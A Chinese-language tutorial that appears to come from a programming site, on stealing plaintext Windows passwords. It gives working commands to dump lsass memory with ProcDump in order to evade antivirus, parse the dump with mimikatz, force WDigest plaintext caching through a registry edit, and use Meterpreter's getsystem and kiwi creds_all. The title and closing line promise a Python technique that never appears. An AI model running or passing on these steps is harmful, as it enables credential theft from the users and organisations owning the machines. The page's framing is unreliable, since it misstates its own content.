python簡單直接獲取windows明文密碼操作技巧
01、Procdump+Mimikatz
利用procdump+Mimikatz 繞過殺軟獲取Windows明文密碼。
(1)工具準備:
ProcDump:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz:
https://github.com/gentilkiwi/mimikatz/
(2)Windows Server 2008 R2提取明文密碼
在目標機器上生成存儲文件:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
將lsass.dmp復制到本地,使用mimikatz 一行命令將結果輸出到文本。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"> pssword.txt
如圖:成功從內存中提取明文密碼。
02、Window 2012 R2抓取密碼
在Windows2012系統及以上的系統,默認在內存緩存中禁止保存明文密碼的。攻擊者可以通過修改注冊表的方式抓取明文,需要用戶重新登錄后才能成功抓取。
(1)修改注冊表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
(2)用戶administrator注銷后重新登錄,成功抓取到明文信息。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
03、MSF kiwi模塊
使用kiwi模塊需要system權限,所以我們在使用該模塊之前需要將當前MSF中的shell提升為system。
提到system有兩個方法,一是當前的權限是administrator用戶,二是利用其它手段先提權到administrator用戶。然后administrator用戶可以直接getsystem到system權限。
meterpreter > getuid Server username: BYPASS-E97BA3FC\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
加載kiwi模塊:
load kiwi
列舉系統中的明文密碼:
creds_all
以上就是python簡單直接獲取windows明文密碼操作技巧的詳細內容,更多關于python獲取windows明文密碼的資料請關注腳本之家其它相關文章!
相關文章
python3 圖片 4通道轉成3通道 1通道轉成3通道 圖片壓縮實例
今天小編就為大家分享一篇python3 圖片 4通道轉成3通道 1通道轉成3通道 圖片壓縮實例,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-12-12